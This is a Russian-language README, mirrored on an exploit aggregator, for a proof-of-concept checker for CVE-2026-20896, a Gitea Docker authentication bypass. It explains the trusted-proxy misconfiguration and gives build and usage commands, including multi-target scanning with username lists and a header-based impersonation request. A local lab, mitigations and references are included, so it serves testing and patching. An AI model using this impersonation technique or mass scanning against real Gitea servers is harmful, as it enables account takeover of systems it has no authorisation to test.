Sploitus

Exploit for cve-2026-20896-gitea-poc

kitploit · 2026-08-31

Exploit Code

MARKDOWN163 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SZYBNEV-CVE-2026-20896-GITEA-POC
# CVE-2026-20896 Проверка обхода аутентификации Gitea Docker

Только для авторизованных операций red team / пентеста.

Этот репозиторий содержит минимальный чекер для CVE-2026-20896, обхода аутентификации в официальных Docker-образах Gitea до версии `1.26.2` включительно, когда включена аутентификация через обратный прокси.

## Что такое CVE-2026-20896

Затронутые Docker-образы Gitea поставлялись с шаблоном `app.ini`, содержащим:

root@kitploit:~
    
    
    REVERSE_PROXY_TRUSTED_PROXIES = *
    

Когда администратор включал:

root@kitploit:~
    
    
    ENABLE_REVERSE_PROXY_AUTHENTICATION = true
    

Gitea доверял заголовку `X-WEBAUTH-USER` с любого исходного IP-адреса, который мог напрямую достичь HTTP-порта контейнера. Клиент, обошедший предполагаемый аутентифицирующий обратный прокси, мог отправить единственный заголовок и выдать себя за известного или угадываемого пользователя.

Практическое воздействие — неаутентифицированная выдача себя за учётную запись. Если угаданный пользователь является администратором, наихудший случай — полный захват экземпляра Gitea на уровне приложения и его репозиториев. RCE на хосте зависит от окружения и не заявляется данным чекером.

Исправленные версии начинаются с `1.26.3`; рекомендуется обновление до `1.26.4` или новее.

## Как работает PoC

Чекер:

  1. Загружает целевую домашнюю страницу.
  2. Ищет текст в футере, например `Powered by Gitea Version: 1.26.4`.
  3. По умолчанию пропускает тестирование, если распознанная версия `>= 1.26.3`.
  4. Отправляет запросы `GET /` с заголовком `X-WEBAUTH-USER: <username>` для каждого указанного имени пользователя.
  5. Сообщает о попадании, когда возвращённый заголовок страницы выглядит как панель управления для этого пользователя.



Версия на Go поддерживает множественные цели, файлы с именами пользователей, параллелизм, таймауты, вывод JSONL, TLS `--insecure`, `--dry-run` и `--force`.

## Сборка

root@kitploit:~
    
    
    go build -o gitea-cve-2026-20896-check .
    

Сторонние Go-зависимости не требуются.

## Использование

Одиночная цель:

root@kitploit:~
    
    
    ./gitea-cve-2026-20896-check \
      --url http://localhost:3000 \
      --users admin,gitea_admin,alice
    

Множественные цели и имена пользователей:

root@kitploit:~
    
    
    ./gitea-cve-2026-20896-check \
      --targets targets.txt \
      --user-file users.txt \
      --concurrency 64 \
      --timeout 8s \
      --jsonl
    

Пробный запуск:

root@kitploit:~
    
    
    ./gitea-cve-2026-20896-check \
      --url http://localhost:3000 \
      --users admin,alice \
      --dry-run
    

Запасной вариант Bash:

root@kitploit:~
    
    
    ./poc.sh --url http://localhost:3000 --users admin,alice
    

## Коды выхода

  * `0`: подтверждена хотя бы одна уязвимая выдача себя
  * `1`: не подтверждено ни одной уязвимой выдачи себя
  * `2`: ошибка использования, ввода или выполнения



## Локальная лаборатория для воспроизведения

Следующая лаборатория запускает уязвимый локальный контейнер Gitea и создаёт тестового пользователя:

root@kitploit:~
    
    
    docker run -d --name gitea-cve-2026-20896 \
      -p 127.0.0.1:3000:3000 \
      -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
      -e GITEA__security__INSTALL_LOCK=true \
      gitea/gitea:1.26.2
    
    sleep 15
    
    docker exec --user git gitea-cve-2026-20896 gitea admin user create \
      --username alice \
      --password 'longpasswordhere1234' \
      --email some-email@example.com \
      --must-change-password=false
    
    ./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin
    

Ожидаемый положительный результат:

root@kitploit:~
    
    
    [VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"
    

Очистка:

root@kitploit:~
    
    
    docker rm -f gitea-cve-2026-20896
    

## Смягчение

  * Обновите Gitea до `1.26.3` или новее; предпочтительна версия `1.26.4` или новее.
  * Не открывайте HTTP-порт контейнера Gitea непосредственно для ненадёжных сетей.
  * Явно настройте доверенные обратные прокси.
  * Держите аутентификацию через обратный прокси отключённой, если не понимаете сетевой путь и границы доверия прокси.



## Ссылки

  * Рекомендация Gitea: https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4
  * Примечания к выпуску Gitea для `1.26.3` / `1.26.4`: https://blog.gitea.com/release-of-1.26.3-and-1.26.4/
  * Исправляющий PR: https://github.com/go-gitea/gitea/pull/38151
  * Запись CVE: https://vulners.com/cve/CVE-2026-20896
  * Отчёт о зондировании в дикой природе через The Hacker News / Sysdig telemetry: https://thehackernews.com/2026/07/threat-actors-probe-gitea-docker-flaw.html